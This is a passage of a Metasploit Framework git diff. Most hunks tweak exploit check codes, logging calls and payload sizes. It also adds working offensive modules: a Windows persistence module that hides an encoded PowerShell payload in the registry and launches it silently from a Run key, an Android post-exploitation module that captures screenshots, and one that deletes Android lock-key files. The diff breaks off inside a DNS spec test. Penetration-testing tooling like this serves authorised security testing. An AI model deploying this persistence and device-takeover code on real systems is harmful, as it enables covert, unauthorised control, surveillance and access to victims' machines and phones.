+end
diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb
index 6cfeb956ae..7278e5aee6 100644
--- a/modules/exploits/windows/local/ikeext_service.rb
+++ b/modules/exploits/windows/local/ikeext_service.rb
@@ -65,12 +65,12 @@ class Metasploit3 < Msf::Exploit::Local
srv_info = service_info(service)
if srv_info.nil?
- print_warning("Unable to enumerate services.")
+ vprint_warning("Unable to enumerate services.")
return false
end
if srv_info && srv_info[:display].empty?
- print_warning("Service #{service} does not exist.")
+ vprint_warning("Service #{service} does not exist.")
return false
else
return true
diff --git a/modules/exploits/windows/local/lenovo_systemupdate.rb b/modules/exploits/windows/local/lenovo_systemupdate.rb
index ff4a2a4cf5..35e5fe61b1 100644
--- a/modules/exploits/windows/local/lenovo_systemupdate.rb
+++ b/modules/exploits/windows/local/lenovo_systemupdate.rb
@@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Local
svc = service_info('SUService')
if svc && svc[:display] =~ /System Update/
vprint_good("Found service '#{svc[:display]}'")
- return Exploit::CheckCode::Appears
+ return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
diff --git a/modules/exploits/windows/local/mqac_write.rb b/modules/exploits/windows/local/mqac_write.rb
index 3826e7c15f..024fb55adc 100644
--- a/modules/exploits/windows/local/mqac_write.rb
+++ b/modules/exploits/windows/local/mqac_write.rb
@@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Local
when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears
when /windows xp/i
- print_error('Unsupported version of Windows XP detected')
+ vprint_error('Unsupported version of Windows XP detected')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/local/ms10_015_kitrap0d.rb b/modules/exploits/windows/local/ms10_015_kitrap0d.rb
index 0c5bbc29bd..8145b65278 100644
--- a/modules/exploits/windows/local/ms10_015_kitrap0d.rb
+++ b/modules/exploits/windows/local/ms10_015_kitrap0d.rb
@@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Local
return Exploit::CheckCode::Safe
end
- return Exploit::CheckCode::Appears
+ return Exploit::CheckCode::Detected
end
def exploit
diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb
index 3a915f1632..8d647f7a8d 100644
--- a/modules/exploits/windows/local/ms13_053_schlamperei.rb
+++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb
@@ -73,12 +73,12 @@ class Metasploit3 < Msf::Exploit::Local
case build
when 7600
- return Exploit::CheckCode::Vulnerable
+ return Exploit::CheckCode::Appears
when 7601
if branch == 18
- return Exploit::CheckCode::Vulnerable if revision < 18176
+ return Exploit::CheckCode::Appears if revision < 18176
else
- return Exploit::CheckCode::Vulnerable if revision < 22348
+ return Exploit::CheckCode::Appears if revision < 22348
end
end
return Exploit::CheckCode::Unknown
diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb
index 6d98b67a24..7095e49f9e 100644
--- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb
+++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb
@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Local
def check
os = sysinfo["OS"]
if (os =~ /windows/i) == nil
- return Exploit::CheckCode::Unknown
+ return Exploit::CheckCode::Safe
end
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
@@ -75,9 +75,9 @@ class Metasploit3 < Msf::Exploit::Local
case build
when 7600
- return Exploit::CheckCode::Vulnerable
+ return Exploit::CheckCode::Appears
when 7601
- return Exploit::CheckCode::Vulnerable if revision <= 18126
+ return Exploit::CheckCode::Appears if revision <= 18126
when 9200
return Exploit::CheckCode::Safe
end
diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
index da8978c455..a4d5236714 100644
--- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
+++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb
@@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Local
return Exploit::CheckCode::Safe
end
- Exploit::CheckCode::Vulnerable
+ Exploit::CheckCode::Appears
end
def get_net_version
diff --git a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
index 7faab42aa7..2908ef555f 100644
--- a/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
+++ b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
@@ -77,7 +77,8 @@ class Metasploit3 < Msf::Exploit::Local
os = sysinfo["OS"]
if os !~ /windows/i
- return Exploit::CheckCode::Unknown
+ # Non-Windows systems are definitely not affected.
+ return Exploit::CheckCode::Safe
end
if sysinfo["Architecture"] =~ /(wow|x)64/i
@@ -94,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Local
return Exploit::CheckCode::Safe if build == 9200
return Exploit::CheckCode::Safe if build == 9600
- return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
+ return Exploit::CheckCode::Appears if [2600, 3790, 7600, 7601].include?(build)
return Exploit::CheckCode::Unknown
end
diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb
index e2285ff4de..d1430d6bab 100644
--- a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb
+++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb
@@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local
vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440)
- return Exploit::CheckCode::Vulnerable
+ return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb
index 3ec8721cdb..afa42a0dcd 100644
--- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb
+++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb
@@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Local
return Exploit::CheckCode::Safe if build > 7601
- return Exploit::CheckCode::Detected
+ return Exploit::CheckCode::Appears
end
def exploit
diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb
index d7866b5d28..a0269a72b3 100644
--- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb
+++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb
@@ -121,9 +121,7 @@ class Metasploit3 < Msf::Exploit::Local
def check
if sysinfo['OS'] =~ /Windows 8/
- # Still an 0day, but since this check doesn't actually trigger the vulnerability
- # so we should only flag this as CheckCode::Appears
- return Exploit::CheckCode::Appears
+ return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb
index 8a98ee1b80..9bf0d99c53 100644
--- a/modules/exploits/windows/local/ppr_flatten_rec.rb
+++ b/modules/exploits/windows/local/ppr_flatten_rec.rb
@@ -82,39 +82,39 @@ class Metasploit3 < Msf::Exploit::Local
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}")
- #WinXP x86 - 5.1.2600.6404
- #WinXP/2003 5.2.3790.5174
- #WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132
- #Win72k8R2 - 6.1.7601.18176 / 6.1.7601.22348
- #Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732
+ # WinXP x86 - 5.1.2600.6404
+ # WinXP/2003 5.2.3790.5174
+ # WinVista/2k8 - 6.0.6002.18861 / 6.0.6002.23132
+ # Win72k8R2 - 6.1.7601.18176 / 6.1.7601.22348
+ # Win8/2012 - 6.2.9200.16627 / 6.2.9200.20732
case build
when 2600
- return Exploit::CheckCode::Vulnerable if revision < 6404
+ return Exploit::CheckCode::Appears if revision < 6404
when 3790
- return Exploit::CheckCode::Vulnerable if revision < 5174
+ return Exploit::CheckCode::Appears if revision < 5174
when 6000
- return Exploit::CheckCode::Vulnerable
+ return Exploit::CheckCode::Appears
when 6001
- return Exploit::CheckCode::Vulnerable
+ return Exploit::CheckCode::Appears
when 6002
if branch == 18
- return Exploit::CheckCode::Vulnerable if revision < 18861
+ return Exploit::CheckCode::Appears if revision < 18861
else
- return Exploit::CheckCode::Vulnerable if revision < 23132
+ return Exploit::CheckCode::Appears if revision < 23132
end
when 7600
- return Exploit::CheckCode::Vulnerable
+ return Exploit::CheckCode::Appears
when 7601
if branch == 18
- return Exploit::CheckCode::Vulnerable if revision < 18176
+ return Exploit::CheckCode::Appears if revision < 18176
else
- return Exploit::CheckCode::Vulnerable if revision < 22348
+ return Exploit::CheckCode::Appears if revision < 22348
end
when 9200
if branch == 16
- return Exploit::CheckCode::Vulnerable if revision < 16627
+ return Exploit::CheckCode::Appears if revision < 16627
else
- return Exploit::CheckCode::Vulnerable if revision < 20732
+ return Exploit::CheckCode::Appears if revision < 20732
end
end
end
diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb
new file mode 100644
index 0000000000..be1c48aec6
--- /dev/null
+++ b/modules/exploits/windows/local/registry_persistence.rb
@@ -0,0 +1,202 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+require 'msf/core/post/file'
+
+class Metasploit4 < Msf::Exploit::Local
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Powershell
+ include Msf::Post::Windows::Registry
+ include Msf::Post::File
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Windows Registry Only Persistence',
+ 'Description' => %q{
+ This module will install a payload that is executed during boot.
+ It will be executed either at user logon or system startup via the registry
+ value in "CurrentVersion\Run" (depending on privilege and selected method).
+ The payload will be installed completely in registry.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Donny Maasland ',
+ ],
+ 'Platform' => [ 'win' ],
+ 'SessionTypes' => [ 'meterpreter', 'cmd' ],
+ 'Targets' =>
+ [
+ [ 'Automatic', { } ]
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => "Jul 1 2015",
+ 'DefaultOptions' =>
+ {
+ 'DisablePayloadHandler' => 'true'
+ }
+ ))
+
+ register_options([
+ OptEnum.new('STARTUP',
+ [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
+ OptString.new('BLOB_REG_KEY',
+ [false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
+ OptString.new('BLOB_REG_NAME',
+ [false, 'The name to use for storing the payload blob. (Default: random)' ]),
+ OptString.new('RUN_NAME',
+ [false, 'The name to use for the \'Run\' key. (Default: random)' ]),
+ OptBool.new('CREATE_RC',
+ [false, 'Create a resource file for cleanup', true]),
+ ], self.class)
+ end
+
+ def generate_payload_blob
+ opts = {
+ use_single_quotes: true,
+ encode_final_payload: true,
+ }
+ blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
+ return blob
+ end
+
+ def generate_cmd(root_path, blob_key_name, blob_key_reg)
+ cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
+ return cmd
+ end
+
+ def generate_blob_reg
+ blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
+ blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
+ return blob_reg_key, blob_reg_name
+ end
+
+ def generate_cmd_reg
+ cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
+ return cmd_reg
+ end
+
+ def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
+ blob_reg_key = "#{root_path}\\#{blob_reg_key}"
+ new_key = false
+ if not registry_enumkeys(blob_reg_key)
+ unless registry_createkey(blob_reg_key)
+ fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
+ end
+ print_good("Created registry key #{blob_reg_key}")
+ new_key = true
+ end
+
+ unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
+ fail_with(Failure::Unknown,'Failed to open the registry key for writing')
+ end
+ print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
+ return new_key
+ end
+
+ def install_cmd(cmd, cmd_reg, root_path)
+ unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
+ fail_with(Failure::Unknown,'Could not install run key')
+ end
+ print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
+ end
+
+ def get_root_path
+ if datastore['STARTUP'] == 'USER'
+ root_path = 'HKCU'
+ else
+ root_path = 'HKLM'
+ end
+ return root_path
+ end
+
+ def log_file(log_path = nil) # Thanks Meatballs for this
+ # Get hostname
+ host = session.session_host
+
+ # Create Filename info to be appended to downloaded files
+ filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
+
+ # Create a directory for the logs
+ if log_path
+ logs = ::File.join(log_path, 'logs', 'persistence',
+ Rex::FileUtils.clean_path(host + filenameinfo))
+ else
+ logs = ::File.join(Msf::Config.log_directory, 'persistence',
+ Rex::FileUtils.clean_path(host + filenameinfo))
+ end
+
+ # Create the log directory
+ ::FileUtils.mkdir_p(logs)
+
+ # logfile name
+ logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
+ logfile
+ end
+
+ def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
+ clean_rc = log_file()
+ @clean_up_rc = ""
+ @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
+ if new_key
+ @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
+ end
+ @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
+ file_local_write(clean_rc, @clean_up_rc)
+ print_status("Clean up Meterpreter RC file: #{clean_rc}")
+
+ report_note(:host => session.session_host,
+ type: 'host.persistance.cleanup',
+ data: {
+ local_id: session.sid,
+ stype: session.type,
+ desc: session.info,
+ platform: session.platform,
+ via_payload: session.via_payload,
+ via_exploit: session.via_exploit,
+ created_at: Time.now.utc,
+ commands: @clean_up_rc
+ }
+ )
+ end
+
+ def check
+ unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
+ return Msf::Exploit::CheckCode::Safe
+ end
+ return Msf::Exploit::CheckCode::Vulnerable
+ end
+
+ def exploit
+ unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
+ print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
+ end
+
+ print_status('Generating payload blob..')
+ blob = generate_payload_blob
+ print_good("Generated payload, #{blob.length} bytes")
+
+ root_path = get_root_path
+ print_status("Root path is #{root_path}")
+
+ blob_reg_key, blob_reg_name = generate_blob_reg
+ cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
+ cmd_reg = generate_cmd_reg
+
+ print_status('Installing payload blob..')
+ new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
+
+ print_status('Installing run key')
+ install_cmd(cmd, cmd_reg, root_path)
+
+ if datastore['CREATE_RC']
+ create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
+ end
+ end
+end
+
diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb
index 11122defcd..fc78d7e63f 100644
--- a/modules/exploits/windows/local/virtual_box_guest_additions.rb
+++ b/modules/exploits/windows/local/virtual_box_guest_additions.rb
@@ -115,13 +115,13 @@ class Metasploit3 < Msf::Exploit::Local
case minor
when 0
- return Exploit::CheckCode::Vulnerable if build < 26
+ return Exploit::CheckCode::Appears if build < 26
when 1
- return Exploit::CheckCode::Vulnerable if build < 34
+ return Exploit::CheckCode::Appears if build < 34
when 2
- return Exploit::CheckCode::Vulnerable if build < 26
+ return Exploit::CheckCode::Appears if build < 26
when 3
- return Exploit::CheckCode::Vulnerable if build < 12
+ return Exploit::CheckCode::Appears if build < 12
end
return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb
index b7cad7c88a..0d02343531 100644
--- a/modules/exploits/windows/misc/allmediaserver_bof.rb
+++ b/modules/exploits/windows/misc/allmediaserver_bof.rb
@@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process', #none/process/thread/seh
+ 'EXITFUNC' => 'thread', #none/process/thread/seh
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb
index aae027fa49..f77cd30561 100644
--- a/modules/exploits/windows/scada/winlog_runtime_2.rb
+++ b/modules/exploits/windows/scada/winlog_runtime_2.rb
@@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'ExitFunction' => 'process',
+ 'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Payload' =>
diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb
index 146664e239..49588e2655 100644
--- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb
+++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb
@@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb
index 1dda4114cb..0e3e0d5811 100644
--- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb
+++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb
@@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'ExitFunction' => "none"
+ 'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb
index f8680550e5..dfd56e1440 100644
--- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options'
module Metasploit4
- CachedSize = 25685
+ CachedSize = 26128
include Msf::Payload::Single
include Msf::Payload::Php::ReverseTcp
diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb
index fa311123ee..61879f0de6 100644
--- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb
@@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp'
module Metasploit4
- CachedSize = 437
+ CachedSize = 450
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseTcp_x64
diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb
index 8c21b7ffe1..51158fc908 100644
--- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb
@@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp'
module Metasploit4
- CachedSize = 478
+ CachedSize = 491
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseTcp_x64
diff --git a/modules/post/android/capture/screen.rb b/modules/post/android/capture/screen.rb
new file mode 100644
index 0000000000..678d228d01
--- /dev/null
+++ b/modules/post/android/capture/screen.rb
@@ -0,0 +1,73 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex'
+
+class Metasploit4 < Msf::Post
+
+ include Msf::Post::File
+
+ def initialize(info={})
+ super( update_info( info,
+ 'Name' => 'Android Screen Capture',
+ 'Description' => %q{
+ This module takes a screenshot of the target phone.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'timwr' ],
+ 'Platform' => [ 'android' ],
+ 'SessionTypes' => [ 'shell', 'meterpreter' ]
+ ))
+
+ register_options(
+ [
+ OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/data/local/tmp/']),
+ OptString.new('EXE_PATH', [true, 'Path to remote screencap executable', '/system/bin/screencap'])
+ ], self.class)
+ end
+
+ def run
+ id = cmd_exec('id')
+ unless id =~ /root/ or id =~ /shell/
+ print_error("This module requires shell or root permissions")
+ return
+ end
+
+ exe_path = datastore['EXE_PATH']
+ tmp_path = datastore['TMP_PATH']
+ if not file?(exe_path)
+ print_error("Aborting, screencap binary not found.")
+ return
+ end
+
+ begin
+ file = "#{tmp_path}/#{Rex::Text.rand_text_alpha(7)}.png"
+ cmd_exec("#{exe_path} -p #{file}")
+ print_good("Downloading screenshot...")
+ data = read_file(file)
+ file_rm(file)
+ rescue ::Rex::Post::Meterpreter::RequestError => e
+ print_error("Error taking the screenshot")
+ vprint_error("#{e.class} #{e} #{e.backtrace}")
+ return
+ end
+
+ unless data
+ print_error("No data for screenshot")
+ return
+ end
+
+ begin
+ fn = "screenshot.png"
+ location = store_loot("screen_capture.screenshot", "image/png", session, data, fn, "Screenshot")
+ print_good("Screenshot saved at #{location}")
+ rescue ::IOError, ::Errno::ENOENT => e
+ print_error("Error storing screenshot")
+ vprint_error("#{e.class} #{e} #{e.backtrace}")
+ return
+ end
+ end
+end
diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb
new file mode 100644
index 0000000000..9498d0fbec
--- /dev/null
+++ b/modules/post/android/manage/remove_lock_root.rb
@@ -0,0 +1,49 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rex'
+
+class Metasploit4 < Msf::Post
+
+ include Msf::Post::Common
+
+ def initialize(info={})
+ super( update_info( info, {
+ 'Name' => "Android Root Remove Device Locks",
+ 'Description' => %q{
+ This module uses root privileges to remove the device lock.
+ In some cases the original lock method will still be present but any key/gesture will
+ unlock the device.
+ },
+ 'Privileged' => true,
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'timwr' ],
+ 'SessionTypes' => [ 'meterpreter', 'shell' ],
+ 'Platform' => 'android',
+ }
+ ))
+ end
+
+ def run
+ id = cmd_exec('id')
+ unless id =~ /root/
+ #print_error("This module requires root permissions")
+ #return
+ end
+
+ %W{
+ /data/system/password.key
+ /data/system/gesture.key
+ }.each do |path|
+ print_status("Removing #{path}")
+ cmd_exec("rm #{path}")
+ end
+
+ print_status("Device should be unlocked or no longer require a pin")
+ end
+
+end
+
diff --git a/scripts/resource/basic_discovery.rc b/scripts/resource/basic_discovery.rc
index 86bfb39e93..eb7fe91478 100644
--- a/scripts/resource/basic_discovery.rc
+++ b/scripts/resource/basic_discovery.rc
@@ -559,7 +559,7 @@ framework.db.workspace.hosts.each do |host|
jobwaiting(maxjobs,verbose)
print_line("Module: vmware_server_dir_trav")
- run_single("use auxiliary/scanner/http/vmware_server_dir_trav")
+ run_single("use auxiliary/scanner/vmware/vmware_server_dir_trav")
if(verbose == 1)
infos(serv,host)
end
diff --git a/spec/lib/msf/core/post/android/priv_spec.rb b/spec/lib/msf/core/post/android/priv_spec.rb
new file mode 100644
index 0000000000..527d58a03c
--- /dev/null
+++ b/spec/lib/msf/core/post/android/priv_spec.rb
@@ -0,0 +1,37 @@
+# -*- coding: binary -*-
+
+require 'msf/core/post/android/priv'
+
+describe Msf::Post::Android::Priv do
+
+ subject do
+ mod = Module.new
+ mod.extend(described_class)
+ mod
+ end
+
+ let(:nonroot_id) do
+ %Q|uid=10043(u0_a43) gid=10043(u0_a43) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet)|
+ end
+
+ let(:root_id) do
+ %Q|uid=0(0)|
+ end
+
+ describe '#is_root?' do
+ context 'when not root' do
+ it 'returns FalseClass' do
+ allow(subject).to receive(:cmd_exec).with('id').and_return(nonroot_id)
+ expect(subject.is_root?).to be_falsey
+ end
+ end
+
+ context 'when root' do
+ it 'returns TrueClass' do
+ allow(subject).to receive(:cmd_exec).with('id').and_return(root_id)
+ expect(subject.is_root?).to be_truthy
+ end
+ end
+ end
+
+end
diff --git a/spec/lib/msf/core/post/android/system_spec.rb b/spec/lib/msf/core/post/android/system_spec.rb
new file mode 100644
index 0000000000..e24bc0cbf0
--- /dev/null
+++ b/spec/lib/msf/core/post/android/system_spec.rb
@@ -0,0 +1,30 @@
+# -*- coding: binary -*-
+
+require 'msf/core/post/android/system'
+
+describe Msf::Post::Android::System do
+
+ subject do
+ mod = Module.new
+ mod.extend(described_class)
+ mod
+ end
+
+ let(:build_prop_output) do
+ %Q|ro.build.version.sdk=16
+ro.build.version.release=4.1.1
+|
+ end
+
+ describe '#get_sysinfo' do
+ let(:expected_android_version) do
+ '4.1.1'
+ end
+
+ it 'returns the android version' do
+ allow(subject).to receive(:cmd_exec).and_return(build_prop_output)
+ expect(subject.get_build_prop['ro.build.version.release']).to eq(expected_android_version)
+ end
+ end
+
+end
diff --git a/spec/lib/net/dns/rr/classes_spec.rb b/spec/lib/net/dns/rr/classes_spec.rb
new file mode 100644
index 0000000000..7b2fc8cb90
--- /dev/null
+++ b/spec/lib/net/dns/rr/classes_spec.rb
@@ -0,0 +1,62 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'net/dns'
+
+describe Net::DNS::RR::Classes do
+
+ subject do
+ described_class.new
+ end
+
+ describe '#initialize' do
+ subject(:rr_class) do
+ described_class.allocate
+ end
+
+ it 'raises when initialized with no args' do
+ expect { rr_class.send(:initialize) }.to raise_error(ArgumentError)
+ end
+
+ it 'respects default RR class when initialized with a nil RR class' do
+ rr_class.send(:initialize, nil)
+ expect(rr_class.to_i).to eql(1)
+ expect(rr_class.to_s).to eql('IN')
+ end
+
+ # TODO: figure out why this doesn't work
+ skip 'respects configured default RR class' do
+ rr_class.send(:default=, 'NONE')
+ expect(rr_class.to_i).to eql(254)
+ expect(rr_class.to_s).to eql('NONE')
+ end
+
+ it 'initializes with a valid RR class Fixnum argument' do
+ rr_class.send(:initialize, 4)
+ expect(rr_class.to_i).to eql(4)
+ expect(rr_class.to_s).to eql('HS')
+ end
+
+ it 'raises when the supplied RR class Fixnum is invalid' do
+ expect { rr_class.send(:initialize, 123456) }.to raise_error(ClassArgumentError)
+ expect { rr_class.send(:initialize, -1) }.to raise_error(ClassArgumentError)
+ end
+
+ it 'initializes with a valid RR class String argument' do
+ rr_class.send(:initialize, 'CH')
+ expect(rr_class.to_i).to eql(3)
+ expect(rr_class.to_s).to eql('CH')
+ rr_class.send(:initialize, 'CLASS9')
+ expect(rr_class.to_i).to eql(9)
+ expect(rr_class.to_s).to eql('CLASS9')
+ rr_class.send(:initialize, 'CLASS1')
+ expect(rr_class.to_i).to eql(1)
+ expect(rr_class.to_s).to eql('IN')
+ end
+
+ it 'raises when the supplied RR class String is invalid' do
+ expect { rr_class.send(:initialize, 'cats') }.to raise_error(ClassArgumentError)
+ expect { rr_class.send(:initialize, 'CLASS123456') }.to raise_error(ClassArgumentError)
+ end
+ end
+end
diff --git a/spec/lib/net/dns/rr/types_spec.rb b/spec/lib/net/dns/rr/types_spec.rb
new file mode 100644
index 0000000000..728525faad
--- /dev/null
+++ b/spec/lib/net/dns/rr/types_spec.rb
@@ -0,0 +1,62 @@
+# -*- coding:binary -*-
+require 'spec_helper'
+
+require 'net/dns'
+
+describe Net::DNS::RR::Types do
+
+ subject do
+ described_class.new
+ end
+
+ describe '#initialize' do
+ subject(:rr_type) do
+ described_class.allocate
+ end
+
+ it 'raises when initialized with no args' do
+ expect { rr_type.send(:initialize) }.to raise_error(ArgumentError)
+ end
+
+ it 'respects default RR type when initialized with a nil RR type' do
+ rr_type.send(:initialize, nil)
+ expect(rr_type.to_i).to eql(1)
+ expect(rr_type.to_s).to eql('A')
+ end
+
+ # TODO: figure out why this doesn't work
+ skip 'respects configured default RR type' do
+ rr_type.send(:default=, 'CNAME')
+ expect(rr_type.to_i).to eql(5)
+ expect(rr_type.to_s).to eql('CNAME')
+ end
+
+ it 'initializes with a valid RR type Fixnum argument' do
+ rr_type.send(:initialize, 2)
+ expect(rr_type.to_i).to eql(2)
+ expect(rr_type.to_s).to eql('NS')
+ end
+
+ it 'raises when the supplied RR type Fixnum is invalid' do
+ expect { rr_type.send(:initialize, 123456) }.to raise_error(TypeArgumentError)
+ expect { rr_type.send(:initialize, -1) }.to raise_error(TypeArgumentError)
+ end
+
+ it 'initializes with a valid RR type String argument' do
